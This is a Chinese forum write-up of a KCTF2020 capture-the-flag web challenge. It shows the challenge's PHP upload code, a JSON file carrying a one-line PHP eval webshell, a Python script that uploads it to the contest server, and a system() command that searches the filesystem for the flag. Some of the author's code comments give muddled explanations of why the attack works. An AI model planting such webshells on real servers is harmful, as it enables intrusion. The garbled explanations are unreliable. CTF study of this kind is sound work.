-
-
[原创] KCTF2020 第八题 牛刀小试
-
2020-4-30 15:39
5932
-
下载压缩文件后获得服务器地址
http://47.102.223.17:2333/
访问后得到php源码
进行代码审计发现两个可能存在的漏洞
<?php
if (isset($_FILES["file"]["tmp_name"])) {
$file = fopen($_FILES["file"]["tmp_name"], "r");
$data = fread($file, filesize($_FILES["file"]["tmp_name"]));
//这里存在json解析执行任意远程代码漏洞
$arr = json_decode($data, true, 2);
//判断文件内容是否为json
if (json_last_error() != JSON_ERROR_NONE) {
die("JsonErr");
}
//判断json是否只有一个节点
if (count($arr) != 1) {
die("DataErr");
}
//取出data节点的数据
$data = $arr['data'];
//判断文本长度是否小于56
$len = strlen($data);
if ($len > 56) {
die("Long");
}
//只要json节点name不是data,这个正则就直绕过了
if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) {
die("no");
}
//生成一个随机的文件名
$name = mt_rand();
$ext = strrchr($_FILES['file']['name'], '.');
$ext = trim($ext);
//把上传的文件拷贝到upload目录,这里存在绕过文件名限制漏洞,但和本题无关
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext);
//打印新文件路径
echo "upload/" . $name . $ext;
} else {
//高亮显示当前文件代码
highlight_file(__FILE__);
}
?>
写webshell,只要name不为data,value里面放一句话木马即可
{"ok":"<?php @eval($_POST['cmd']); ?>"}
然后写了个python脚本上传文件(Postman代理没配好,浪费时间了)
import requests
url = 'http://47.102.223.17:2333/'
def upload_file():
files = [
('file', open('getshell.php', 'rb'))
]
response = requests.request("POST", url, files=files)
print(response.text)
if __name__ == '__main__':
upload_file()
上传成功后发现一句话木马不见了,那就是成功被执行了
用蚁剑连接
然后在根目录下找到了flag
PS:一定要认真读题啊,我还一直以为flag在apache的目录下,一直没找到flag...
然后写了个找flag的脚本。。。 IQ-100
<?php system("find / -name *flag*") ?>
<h1>xtgo writeup</h1>
全篇完。
[培训]《安卓高级研修班(网课)》月薪三万计划
最后于 2020-4-30 15:42
被xjklewh编辑
,原因: 调整代码格式